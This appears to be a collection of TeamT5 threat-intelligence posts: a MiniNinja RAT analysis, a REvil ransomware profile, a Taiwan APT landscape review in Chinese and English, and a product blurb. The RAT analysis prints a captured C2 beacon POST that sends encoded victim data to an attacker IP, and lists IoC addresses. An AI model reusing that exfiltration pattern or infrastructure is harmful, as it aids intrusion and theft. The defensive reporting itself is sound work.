*Image courtesy of [Pixabay](https://pixabay.com/illustrations/ninja-warrior-moon-japanese-japan-2255848/)

TeamT5 discovered a new remote administration tool (RAT), which we dubbed as MiniNinja, being used in several Chinese APT campaigns. TeamT5 has observed countries across different APAC regions, including Taiwan, Russia, Kyrgyzstan, Uzbekistan, Vietnam, the Philippines, and Pakistan, being targeted and attacked by this malware. The impacted industries include governments, energy, IT, telecommunication and engineering. MiniNinja is a complex malware that uses several advanced techniques to prevent itself from being detected and analyzed. Further, its wide targeting scope also attracted our attention. In this report, we will introduce the technical detail of our analysis.

MiniNinja was first discovered in the wild in a targeted attack against Taiwanese government agencies in early March 2021. The actor leveraged the ProxyLogon vulnerability (CVE-2021-26855) to compromise an email server and further implanted CobaltStrike Beacon and MiniNinja RAT in the victim network environment. This information was also disclosed in an ESET report[1] about a "Websiic Campaign" using the ProxyLogon vulnerability. TeamT5 noticed the existence of this new malware and started tracking its activities. Since then, TeamT5 has observed its footprints in Vietnam[2], Pakistan and the Philippines, possibly also implanted in victim hosts via the ProxyLogon vulnerability. Its latest activities were spear phishing email attacks against Russia and Uzbekistan in September 2021. TeamT5 is still uncertain of the attribution of these attacks. However, we possess high confidence that this is a new tool used by Chinese APT based on its TTPs and C2 infrastructure.

To bypass antivirus detection, MiniNinja is encrypted as a binary blob in a binary payload file. It might have one to multiple loader components in native PE or .Net, but basically the loaders do similar tasks. The loader components will decrypt and run it in memory via reflective DLL injection techniques. Its loader firstly checks the first 4 bytes of the payload file and decrypts the content by using 3DES (112bit) algorithm in case of header check passes:

![2110-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_1_19727d525b.png)

 

The decrypted buffer might be passed to a second stage loader for further processing if there are multiple loader components. The loader will then decode the content by custom decoding methods and LZSS decompression algorithm. The decoded payload is a PE file with its PE header erased and it is just the MiniNinja RAT. Finally, the loader will locate its export function "Debug" and start execution from there:

![2110-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_2_acd0d24736.png)

 

In a payload collected from some Taiwanese victims, there is a PDB string left by the developer (only in memory) and thus we name this malware MiniNinja:

![2110-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_3_f98da0e1b4.png)

 

The decrypted malware configuration block contains Mutex string, C2 URL, HTTP Header information, sleep time, etc.:

![2110-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_4_aabe1c7b5a.png)

 

Upon execution, the following victim host information will be collected:

 - System info
 - OS version
 - Hostname
 - IP addr
 - Process name
 - Process ID

The above data would be encoded with XOR encode and custom base64 encode. Finally, the encoded result would be sent to its C2 via POST:

```
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
```

MiniNinja is a full-featured RAT that supports commands for file, process, memory, shell or account operations. Its supported functions are listed below in the Command Table.


## Command Table

Supported command:

|Command | Description|
|---|---|
|0x4E20| Heart beat|
|0x4E21| Init dwProcessId|
|0x4E22| Change sleep time|
|0x4E23| Exit(ExitProcess) | 
|0x4E24| CreateProcess|
|0x4E25| TerminateThread |
|0x4E26| set close_socket to 0|
|0x4E2A| ShellCommand |
|0x4E2B| Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)|
|0x4E2C| TerminateProcess|
|0x4E2D| IterateProcess then TerminateProcess|
|0x4E34 ~ 0x4E47| File Operations|
|0x4E34| List Disk Driver|
|0x4E35| ListDirectory|
|0x4E36| CreateDirectory|
|0x4E37| DeleteFile|
|0x4E38| RemoveDirectory|
|0x4E39| MoveFile|
|0x4E3A| CreateFile|
|0x4E3E| ReadFile|
|0x4E3F| WriteFile|
|0x4E48 - 0x4E51| Socket Operations|
|0x4E48|Connet Host|
|0x4E49|Check socket status|
|0x4E4A|Send Data to Host|
|0x4E4B|Recv Data from Host|
|0x4E4C|Close socket|
|0x4E4D|Connect Host|
|Preserved?(0x4E4E-0x4E51)|Null|
|0x4E5C ~ 0x4E65| Memory Operations|
|0x4E5C|string copy|
|0x4E5D|string copy|
|0x4E5E|string copy|
|*0x4E5F,0x4E60| Execute Plugin? (CreateProcess, process Injection and createthread)|
|*0x4E61,0x4E62| FileMapping(Write data) |
|Preserved?(0x4E63,0x4E64)| Null|
|*0x4E65|Close File Handler|
|0x5208|List c2 configuration|
|0x4E52|List Process|
|0x4E53|IterateProcess,kill process|
|0x4E54|Process Injection|
|0x4E55|CreateThread for running DLL export function |
|0x4E56|Read FileMap data(OpenFileMappingA -> robject_,custom_base64)|
|0x4E57|Exit Dll function?(robject_, UnmapViewOfFile)|
|0x4E58|LookupAccountSid|

## IoC

- 149.28.28.159
- 167.99.168.251
- 185.220.101.204
- 162.247.72.199
- 194.156.98.191
- 202.182.100.134
- 109.70.100.55
- 185.220.101.18
- 193.36.119.144 (TW compromised host)

## References

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

Assassinations of "MiniNinja" in Various APAC Countries

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/security-hacker-web-security-data-5614016/)

In March 2021, another REvil's attack was announced. Targeting the computer giant Acer, the actors behind the ransomware asked for 50 million dollars, the highest ransom they have demanded so far. Acer was not the only victim of the notorious ransomware. Debuted in April 2019, REvil has attacked hundreds of high-profile agencies in multiple sectors. In 2020, REvil has earned more than 100 million.[1] In this report, we will introduce the basic profile of REvil and share the techniques they used in operations. 


## What is REvil 

REvil, a.k.a Sodinokibi, is a Ransomware as a Service (RaaS) operation deployed by a Russian cybercrime group named GOLD SOUTHFIELD or Pinchy Spider. The group is believed to be based in Russia, as it does not attack organizations in Post-Soviet States, and refuse to cooperate with English speaking cyber criminals.[2] 

REvil was highly possible the successor of GandCrab, another notorious ransomware, because of code similarities and REvil's active operations right after GandCrab's retirement.[3]

![REvil_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845336/R_Evil_1_035a848033.png)
_Figure 1: The timeline of REvil's appearance and GandCrab's retirement_

 

![REvil_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_2_804b2676dc.png)
_Figure 2: REvil and GandCrab's similarity on string decoding_

 

![REvil_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_3_e9724a2992.png)
_Figure 3: REvil and GandCrab's similarity on building ransom wallpaper_

 

Numerous campaigns attacking multiple sectors were observed all over the world. The REvil actors has attacked local governments, giant law firms, multinational retailers, etc. The highest ransom they have asked was 42 million for the law firm but was now surpassed by the 50 million Acer attack. (References for the events, please see the end of this page.[4])

 

![REvil__4.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_4_56bc894487.jpg)
_Figure 4: The timeline of REvil's notorious attacks_

 

## The Ransomware as a Service model (RaaS)

The actors of REvil adopt the Ransomware as a Service business model. In this model, Ransomware developers are responsible for development and maintenance of the ransomware, while the groups of cyber criminals, named affiliates in this model, are responsible for accessing victims' system to distribute the ransomware. The business model allows cyber criminals who are not capable of developing their own ransomware to buy the service on dark web and deploy ransomware attack. 
 
Through this model, REvil actors provide REvil or the customized version of REvil to their affiliates. After they successfully breached victims' systems, REvil actors will ask for ransom by themselves, providing the ransom payment link. After the collection of money, their affiliates will receive 60% to 75% of the profit. Moreover, the actors also provide other paid services, such as money laundering assistance for the affiliates. 

![May_blog_3.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620634812/May_blog_3_71c24e74f2.jpg)

 

## Tactic, Techniques and Procedures
### Initial Access
For REvil, different affiliates may use different methods for initial access. The ransomware is now distributed primarily through compromised RDP sessions (65%), phishing (16%), and software vulnerabilities (8%).[5] However, a supply chain attack distributing REvil was also observed.

REvils' actors said in an interview that they used brute force attacks to compromise RDP sessions.[1] As for phishing emails, the cyber criminals have once disguised their email as a new booking from "booking.com". They also exploit vulnerabilities. In fact, REvil's debut was exploiting the Oracle Weblogic vulnerability, CVE-2019-2725. Moreover, the actors are able to deploy new vulnerabilities after its disclosure. For example, the group used the recent disclosed Microsoft Exchange server vulnerability to access Acer's system.

The most astounding technique they deployed is supply chain attack. Around June 2019, a WINRAR distributor site in Italy was hacked.[6][7] The software downloaded from the site at that time was not the WINRAR installer but the REvil installer. Although no public announcements showing that any company was infected in this attack, the successful replacement shows that their affiliates were able to deploy a supply chain attack. 

Apart from their various method on initial access, the cyber criminals also adopted several unique techniques. For example, REvil used Elliptic-curve Diffie-Hellman key exchange to encrypt files, while other ransomware often used RSA, Salsa20 or AES to do so. This method is more efficient as it used shorter key and is difficult to decrypt. 

 

## The Effective Methods for Ransom Collection
Nowadays, as ransomware attacks become a serious problem, most companies have learned to back up crucial data in case they are hit by a ransomware. However, ransomware actors develop several new methods to ensure that the victims will pay the ransom, including Double-extortion, VoIP calling, and DDoS attack.

- "Double-extortion"
The actors disclose or sell the data of the company if the company is not willing to pay ransom. This method was first introduced by Maze, another notorious ransomware, and currently almost all ransomware actors have adopted this method, and so as REvil. Starting from January 2020, the group runs their own site "Happy Blog", where they post data extorted from their victims.

- Voice over Internet Protocol (VoIP) calling
In February 2021, they announced that they are now offering Voice over Internet Protocol (VoIP) calling and DDoS attack service for their affiliates to make pressure on their victims.[8] They stated that they will call the media or their victims' business partners, telling them about the attack. 

 

## Detect and Defense
For prevention, it is always crucial to be aware of spamming emails. Nowadays, spamming emails is still the most popular and effective method to access victims' computers. 

In addition, keep an eye on new exploits and updates is also important. Ransomware groups usually are not capable of discovering 0-day exploits by themselves, but they will exploit the disclosed vulnerabilities and attack those who have not updated their system. Thus, keep computers updated and patched systems immediately after the disclosure is essential for preventing ransomware attack.

Furthermore, as the REvil business grows, the actors behind has posted on dark web to recruit more affiliates for their operations. Thus, more attacks from the group is expected. TeamT5 will keep following the ransomware and provide up-to-date information of the notorious ransomware.

To efficiently prevent ransomware attacks, TeamT5 offers a total solution for enterprise protection. Our unique ransomware containment technology is proven to successfully block many types of ransomware, which can detect and stop malicious ransomware immediately. And even restore encrypted files from the backup.

For more information about TeamT5 Ransomware Prevention total solution, please contact: <sales@teamt5.org>

 

## References

[1] https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

[2] https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights

[3] https://www.zdnet.com/article/gandcrab-ransomware-operation-says-its-shutting-down/

[4] Texas Municipalities - https://www.zdnet.com/article/at-least-20-texas-local-governments-hit-in-coordinated-ransomware-attack/; Backup Company - https://www.zdnet.com/article/ransomware-hits-hundreds-of-dentist-offices-in-the-us/; Foreign Exchange Company - https://www.bbc.com/news/business-51017852; US Law Firm - https://www.zdnet.com/article/ransomware-gang-asks-42m-from-ny-law-firm-threatens-to-leak-dirt-on-trump/; Pan-Asia Retailer - https://www.bleepingcomputer.com/news/security/pan-asian-retail-giant-dairy-farm-suffers-revil-ransomware-attack/

[5] https://www.csoonline.com/article/3597298/revil-ransomware-explained-a-widespread-extortion-operation.html

[6] https://www.drcommodore.it/2019/06/20/hackerato-winrar-it-malware-al-posto-del-programma/

[7] https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/

[8] https://www.bleepingcomputer.com/news/security/ransomware-gang-plans-to-call-victims-business-partners-about-attacks/

Introducing The Most Profitable Ransomware REvil

**By TeamT5 杜浦數位安全 技術長 李庭閣 Charles Li**

2020 年被公認為充滿混亂與災禍的一年。各式各樣的大事件諸如新冠肺炎、中亞東歐台海等地的地緣政治衝突、英國脫歐、美國總統大選都將世界各地的人們帶向跟過去截然不同的生活。TeamT5 在過去一年中持續幫助受到國家力量支持的針對性攻擊行動（或稱 APT 攻擊）所受害的單位。同時間 TeamT5 的威脅情資團隊也主動追蹤 APT 攻擊者的各類行蹤。跟真實世界相比較，網路世界的混亂情況並不亞於我們於現實世界所見，同時網路世界的衝突有很大一部份是真實世界的映射或延伸。本篇文章將探討 TeamT5 在 2020 年所觀察到的台灣威脅態勢。

在本篇文章中，我們首先會為您介紹我們在 2020 年所觀察到的重大趨勢，包含了：

- APT 攻擊的演進，網路間諜不再是唯一的攻擊手段
- 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一
- 由新冠肺炎所引發的網路攻擊

接著我們會針對所觀察到的攻擊行動進行分析，試圖以產業別以及攻擊族群視角來進行網路威脅情資的剖析。文章的最後則是我們對如何應對網路攻擊不斷變化的建議作為總結。

 

### 網路間諜不再是唯一的攻擊手段

2020 年所公開的網路攻擊中，影響最深遠的當數中國 APT 攻擊者於五月時針對多個能源產業公司所進行的勒索軟體攻擊 [1]。TeamT5 研究顯示，這是一個來自中國惡名昭彰的 APT 攻擊族群，規畫已久的攻擊行動。這個行動究竟是攻擊者單純以獲取金錢為目的所發起的勒索行動，抑或是以勒索軟體為掩護的政治嚇阻行動（時值 520 台灣總統上任前），背後的答案依舊成謎。無論如何，本次的攻擊行為已為中國對台 APT 攻擊行動劃下新的里程碑：中國 APT 已針對台灣進行二十年以上的攻擊，但行動範圍都維持在竊取機密為目的而進行的網路間諜行動，這次攻擊意味著攻擊者將開始採用更多元的戰術來對台灣進行網路打擊行動。

另一個發生在 PTT BBS 論壇上的攻擊行動可以佐證我們的臆測：在 2020 年七月，TeamT5 追蹤了一連串的 BBS 爆料貼文，試圖詆毀台灣政府與軍方的形象，攻擊者使用了多個境外跳板 IP 位址來試圖隱藏他們的來源，然而 TeamT5 的情資資料庫顯示，其中一個來源 IP 曾被某個鎖定台灣已久的 APT 攻擊族群所使用；無獨有偶，我們也獲得某訊息來源指出，該 APT 族群正是隱身在此次行動背後的攻擊者。我們相信這兩個事件正是一個警訊，告訴我們中國 APT 族群正在嘗試各種過去沒使用過的手法來做更多樣性的攻擊行動。

 

### 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一

TeamT5 曾在過去示警過供應鏈攻擊手法的危險性 [2]，研究顯示它在 2020 年已經成為 APT 攻擊的一種主要入侵手法之一：2020 年十二月被揭露的 SolarWinds/SUNBURST 攻擊行動無疑是當前最成功的案例之一，受害目標包含了許多美國高層政府部門，全球前五百大公司，甚至數個資安廠商本身也在本次攻擊中被攻擊者攻陷，它的手法精細而行動縝密，以致於目前仍無法掌握整個攻擊全貌。在台灣，TeamT5 也觀察到至少三波的攻擊行動使用了類似的手法：攻擊者先針對服務供應商進行滲透，再進一步利用供應商的產品或服務當跳板來直接進入終端用戶，包含政府部門或其他各產業的公司。前兩波的攻擊行動已於八月間被法務部調查局所公開揭露 [3]，而第三波攻擊行動仍在調查中。我們目前已觀察到數十家甚至上百的台灣公私單位被這些行動所成功滲透，而且至少有三個來自中國的 APT 族群參與其中。

 

### 由新冠肺炎所引發的網路攻擊

第三個攻擊趨勢則為新冠肺炎所趨使的網路攻擊行動。隨著新冠肺炎疫情爆發數週內，TeamT5 就觀察到有國家支持的網路攻擊者開始疫情相關的情報蒐集；隨著時序進入下半年，攻擊者的目標開始轉向疫苗發展資訊的蒐集，可以看出網路攻擊行動隨著現實世界改變的趨勢。在台灣，TeamT5 也分析了數個以新冠疫情為主題所進行的攻擊行動，甚至有數波針對醫療相關部門的針對性攻擊行動。我們相信只要疫情尚未消散的一天，相關的攻擊行動就會持續進行。

TeamT5 威脅情資團隊在 2020 年分析了近百個來自中國的 APT 攻擊。統計結果顯示，政府和軍方部門仍為最大的攻擊目標，相對應的攻擊事件超過了總數的四分之一，幾乎每個在台灣地區有活動的 APT 族群都會嘗試攻擊相關部門，主要的原因在於 APT 的主要目標是獲取國家相關的機密情資。值得注意的是，針對資訊產業的攻擊在 2020 年躍升為第二大，顯示 APT 攻擊對資訊公司的高度興趣，主要的原因應與前述的供應鏈攻擊趨勢有關：這些資訊產業公司往往同時服務許多客戶並橫跨不同部門產業，攻陷這些資訊公司提供攻擊者一個絕佳的跳板來進一步滲透終端客戶。

能源產業是 2020 年被針對的第三大產業，TeamT5 觀察到至少有五個族群針對能源產業鏈中的多個部門進行滲透，我們認為這是一個徵兆，顯示敵人試圖控制台灣關鍵基礎設施的野心，因為這些部門在戰爭時期將會成為優先被癱瘓的目標。教育和智庫單位長久以來也名列 APT 攻擊目標排行榜中，相對應的攻擊數量在 2020 年位居第四名，主要的原因在於這些單位中的研究人員往往參與了政府的研究計畫或是政策制定。半導體產業是我們觀察到第五大被針對的目標，由於中國官方將半導體明定為十三五和十四五計畫中重點扶植的產業，這些攻擊應為有計劃性的網路間諜活動，目的在於竊取台灣相關的智慧財權或產業機密。醫療和運輸產業也是兩個在 2020 年被中國 APT 重點性針對的目標產業，如同前述，我們相信新冠肺炎可能是一個趨使攻擊者針對醫療產業的主要因素；交通相關產業部份，TeamT5 觀察到一個值得注意的現象：有一個我們稱為 GouShe（亦稱為 TroppicTropper、Keyboy）的 APT 族群特別針對台灣的交通運輸相關部門進行滲透，2020 年間的相關攻擊事件有七成以上均來自該族群。

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 年 APT 攻擊目標產業分佈_

 

TeamT5 於 2020 年間共追蹤了至少九個 APT 族群的攻擊行動，當中有八個是來自中國。HUAPI（亦稱為 BlackTech、PLEAD）是所有族群中最具野心的一群，他們的攻擊行動佔了我們所觀察到總數近三成，而且攻擊目標幾乎涵蓋了上述的所有產業。我們在前面所提到的台灣供應鏈攻擊行動他們也都有參與。APT27（亦稱 EmissaryPanda、IronTiger、LuckyMouse、BronzeUnion）、GouShe 和 AMOEBA（亦稱 APT41、Barium、Winnti）也是在 2020 年攻擊台灣的數個主要攻擊來源族群：據 TeamT5 研究，APT27 主要攻擊政府、醫療和金融相關單位和產業。GouShe 近一、兩年的攻擊行動，展現了針對交通運輸部門和產業的高度興趣，同時我們也在能源和政府單位觀察到他們的蹤跡，TeamT5 針對此族群追蹤了近十年，研究結果顯示該族群可能接受所屬單位指令來監控台灣的關鍵基礎設施，並可能在關鍵時刻針對這些單位進行控制和接管。

AMOEBA 在過去一年間主要攻擊目標包含了能源、半導體產業，教育智庫單位和資訊產業，從攻擊目標推斷，他們的主要目的偏向於智財和產業機密竊取，但我們不排除攻擊者會嘗試利用攻擊獲取成果進行二次利用，如同他們在五月間所進行的勒索攻擊行動一樣。SLIME1、SLIME9、SLIME13 是 TeamT5 對三個中國 APT 攻擊行動的暫時行動代稱，我們在近幾年都有持續觀察到他們的行動。Polaris（亦稱 MustangPanda）則是一個針對幾乎中國鄰近國家的 APT 族群，我們在三、四月間發現有多個來自他們的釣魚信件針對台灣政府和研究單位進行攻擊，我們推測他們試圖蒐集新冠肺炎相關疫情資訊。最後，我們在台灣也有發現一個由北韓 APT 族群 Lazarus 所使用的 Linux 後門工具，但沒有進一步資訊可以確認受害者身份資訊，雖然台灣在政治上並非北韓 APT 的主要攻擊目標，但由於 Lazarus 族群被公認肩負為北韓政府籌措財源的責任，舉例來說，2017 年發生在台灣銀行的 SWIFT 系統攻擊事件就是由 Lazarus 所為，此樣本也許是一個顯示 Lazarus 仍持續在台灣地區有活動跡象的警訊。

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_2020 年間攻擊台灣的 APT 族群_

 

### 結語

TeamT5 相信認識敵人是有效對抗針對性攻擊的第一步，而本文章主要針對 2020 年間所觀察到的 APT 網路攻擊態勢，提供一個概觀說明。TeamT5 威脅情資研究顯示 APT 攻擊手法持續進化，真正高端複雜的行動已經不可能由單一個資安產品做有效的防護。TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 是一個以網路威脅情資為核心概念的防護方案，同時我們有一群專業的專家分析師持續做研究來讓我們持續領先於攻擊者的腳步。

> 如果您希望進一步了解我們的資安產品、解決方案或是想跟我們討論您所面臨的網路威脅，我們誠摯歡迎您與我們聯絡：<sales@teamt5.org>

 

### 參考資料

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

2020 年台灣 APT 網路攻擊態勢

**By TeamT5 CTO Charles Li**

2020 was considered to be a year of chaos and disaster. Big events such as the outbreak of COVID-19, geopolitical conflicts escalations in several areas, Brexit, and the U.S. president election, all influenced people around the world. In 2020, TeamT5 continued helping numerous security breaches caused by state sponsored targeted instruction attacks (APT) . In the meantime, TeamT5 intelligence Team proactively tracked APT actors’ new activities. Compared with real world, the cyber world was also full of turmoil in 2020 and many of them are reflections or extensions to events in real world. In this article, we will discuss our observation of APT trends in Taiwan in 2020.

In this article, we will first walk you through some remarkable trends, including:

- Evolution of APT tactic
- Supply Chain attack became a primary method in APT attacks
- COVID-19 driven cyber attacks

We will try to dissect the attacks happened in Taiwan in industrial view and adversarial view, which is a common method in threat intelligence analysis. Last part will be our conclusion and suggestions to respond with APT attacks.

 

### Evolution of APT tactic

In 2020, the most notable APT event in public would be the ransom-attack that strike several energy related companies in May [1]. TeamT5 research shows it to be a well-organized campaign from a notorious Chinese adversary group. Whether financial gain or political deterrence is the real motivation behind the ransom-attack remains a mystery. However, it has marked a milestone of China’s cyber-attacks against Taiwan: Chinese APT have aimed Taiwan for more than 20 years but only limited in cyber espionage operations in the past but the threat actors are now exercising new tactics to evade us.

Another cyber-attack supporting our hypothesis occurred on PTT, the most popular BBS platform in Taiwan. TeamT5 tracked a series of posts related to some scandals, with attempts to uglify Taiwanese governments or military, on PTT in July 2020. The actors abused hopping servers from various countries to hide their footprints. However, TeamT5 intelligence database shows that one of the source IP address was also used by a Chinese APT that has targeted Taiwan for more than ten years. Besides, another private source also verified the same APT group to be the culprit behind the attack. We consider both events to be indicators of China’s expansion on offensive cyber operations, which we have not observed in the past.

 

### Supply Chain attack becoming a primary method in APT attacks

Supply chain attack has become a major intrusion method for threat actors in 2020 and TeamT5 had warned such tactic in advance [2]. SolarWinds breach was undoubtedly the most successful story among them. Many high-profile US government agencies, Fortune 500 companies and even cybersecurity vendors were affected. It is so sophisticated that the scope is still uncertain yet. In Taiwan, we also observed at least three waves of similar attacks that infiltrated service providers and further leveraged their products or services to infect more victims. The first two had been published by the Ministry of Justice Bureau (MJIB) of Taiwan in August [3]. The third was still under investigation and the impact could be even bigger. We have seen a significant numbers of government agencies or private corporates in Taiwan being compromised. TeamT5 research shows that at least 3 distinct China nexus group were involved in these operations.

 

### COVID-19 driven cyber attacks

Another interesting phenomenon would be COVID-19 related cyber-attacks. Soon after the outbreak of COVID-19 pandemic, we observed state sponsored actors collecting intelligence for the pandemic. In the second half of 2020, threat actors shifted their focus to chasing COVID-19 vaccine information with the advance of COVID-19 vaccine development. In Taiwan, TeamT5 also intercepted several spear phishing emails using COVID-19 as lure theme or even more campaigns related to healthcare related entities. We believe the trend will continue as long as the COVID-19 pandemic still exists.

TeamT5 Intelligence Team had analyzed around one hundred APT attacks from China in 2020. Our statistic shows government and military agencies are still the biggest target and attacks against them counts for more than 1/4 in total and almost every APT groups that are active in Taiwan are coveting them. This trend has lasted for long since the ultimate goal of Chinese espionage operation is to obtain confidential national information. Information Technology (IT) industry also got attention a lot by APT actors and TeamT5 has observed a dramatical increase of attacks against IT industry. We believe this phenomenon is a result of threat actors’ attempts to abuse supply chain attacks and IT companies are considered to be good hopping points by actors to access various industries.

The third industry being targeted in 2020 is Energy industry and TeamT5 had observed at least attacks from 5 adversary groups. It could be a sign of our adversaries’ ambitions to control our critical industries because they will be top priorities of sabotages in wartime. Education or think tanks have been long ranked as the most attacked victims because they tend to involve in classified research projects hosted by governments or political decision makings. There were several targeted attacks against companies in semiconductor industries. It makes sense since Semiconductor industry is listed as a priority to be fostered by Chinese authority in their thirteen and fourteen Five-Year projects. Cyber espionage was also adopted as a mean to improve their techniques. Healthcare and transportation are also two industries that got coveted by APT actors. As we mentioned in the previous paragraph, COVID-19 could be an incentive for APT actors to attack Healthcare industries. Lastly, we would like to raise a phenomenon TeamT5 observed: There was an adversary group which we called GouShe (a.k.a TroppicTropper, Keyboy) focus on infiltrating Transportation related entities in Taiwan. More than 70% of transportation related cases we observed were from this specific group.

![0510-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620618167/0510_1_bceb3b6be1.png)
_2020 APT target industries distribution_

 

TeamT5 has tracked activities from at least 9 APT groups and 8 of them are from China. HUAPI (a.k.a BlackTech/PLEAD) was definitely the most ambitious group in Taiwan. Their attacks counts around 30% of incidents we analyzed and the targeting scope includes almost all the industries we listed. The supply chain attacks we mentioned in previous paragraphs were also conducted by them. APT27 (a.k.a EmissaryPanda, IronTiger, LuckyMouse, BronzeUnion), GouShe and AMOEBA (a.k.a APT41, Barium, Winnti) are groups that are quite active in 2020. APT27 was mostly attacking government, healthcare, and financial entities. GouShe showed a peculiar interest in transportation related entities while their footprints are also observed in energy and government entities. TeamT5 has tracked this group for many years. Our research shows that the actors might bear some responsibility from their higher commands to monitor some critical infrastructure facilities in Taiwan and take control of them in case of emergency status.

AMOEBA attacked energy companies, semiconductor companies, educational institutes, and IT companies. Their primary goal appears to be more for intellectual property or secret theft. But the possibilities exist that the actor might further leverage their achievement, like what they did in the ransom-attack in May. SLIME1, SLIME9 and SLIME13 are temporary code names for three Chinese APT campaigns against Taiwan that have lasted for a few years. Their activities still continued in 2020. Polaris (a.k.a MustangPanda) is another Chinese APT group that attacked almost all neighboring countries of China. We intercepted several of their spear phishing emails against government and research institutes in early stage of COVID-19 and we surmise they were gathering for information related to pandemic. One last interesting discovery: we discovered some Linux based malware used by Lazarus, a notorious North Korean APT group, circulated in Taiwan but we are unable to obtain the victim identity information. Although Taiwan is not a primary target of North Korean APT. But the Lazarus actors are believed to bear financial supporting responsibilities for their government agencies. For example, Lazarus is believed to be the culprit behind a Taiwanese bank SWIFT heist in 2017 [4]. The sample we uncovered might suggest their activities still exist in Taiwan.

![0510-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620615927/0510_2_a0a7b82a23.png)
_Adversaries attacking Taiwan in 2020_

 

### Conclusion

The purpose of this article is to provide a high-level overview of APT threat landscape of Taiwan in 2020, since TeamT5 believes knowing your enemy is the first step of effective defense. TeamT5 research shows that APT attacks keep evolving to become very complex and impossible for a security product to defend. TeamT5 has a cyber threat intelligence (CTI) centered solution, [ThreatVision](https://teamt5.org/en/products/threatvision/), and we rely on a dedicated team of security experts to keep us steps ahead of threat actors. Feel free to contact TeamT5 in case you want to know more about our products, solutions or discuss about threats you are facing.

> Contact us: <sales@teamt5.org>

 

### Reference

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

APT Threat Landscape of Taiwan in 2020

Threat Intelligence

近年來，為了防範進階持續性攻擊（Advanced Persistent Threat, APT），許多資安業者相繼投入端點防護領域，進行端點的事件分析，以助於定位威脅所在與制定因應措施。但多數的作法，大多是依照偵測工具內建規則，決定該事件的風險高低程度，意即以「一套標準」套用於所有的企業客戶。

 

# 風險防護也可以「客製化」

針對資安防護，各企業領域要求的重點或許略有不同。在端點防護上，具體完整的 APT 攻擊事件，無庸置疑須視為高度威脅優先處理。除此之外，尚有許多其他風險事件（例如違反企業內部規範），各家企業實際上也具備不同的需求。

企業資安防護需求有異，TeamT5 的 ThreatSonar 惡意威脅鑑識分析平台提供了最大的彈性，推出最新功能「風險訂閱」（Threat Subscription），客製化您專屬的威脅防護。

 

## 您在乎的威脅，優先追蹤

透過 ThreatSonar 風險訂閱功能，企業用戶可以依照公司本身的防範策略原則，主動決定要優先針對哪些風險事件進行防護與告警，協助企業確保自家資安防範原則（Policy）的落實管理。舉例來說，公司內部是否有同仁的電腦（被）安裝了 VPN 遠端連線工具？又或是否有任何中國製軟體在企業內使用？ThreatSonar 都能替您把關，偵測威脅、發出告警。

 

![sonar detect.PNG](https://res.cloudinary.com/dvgomg5gh/image/upload/v1615369015/sonar_detect_0a6630d5c7.png)
_圖一、訂閱 VPN 安裝風險事件與告警_

 

有了 ThreatSonar 風險訂閱，我們為每位客戶打造專屬的風險防護，不再「一套規則打天下」。

 

## 自己的風險等級，自己決定

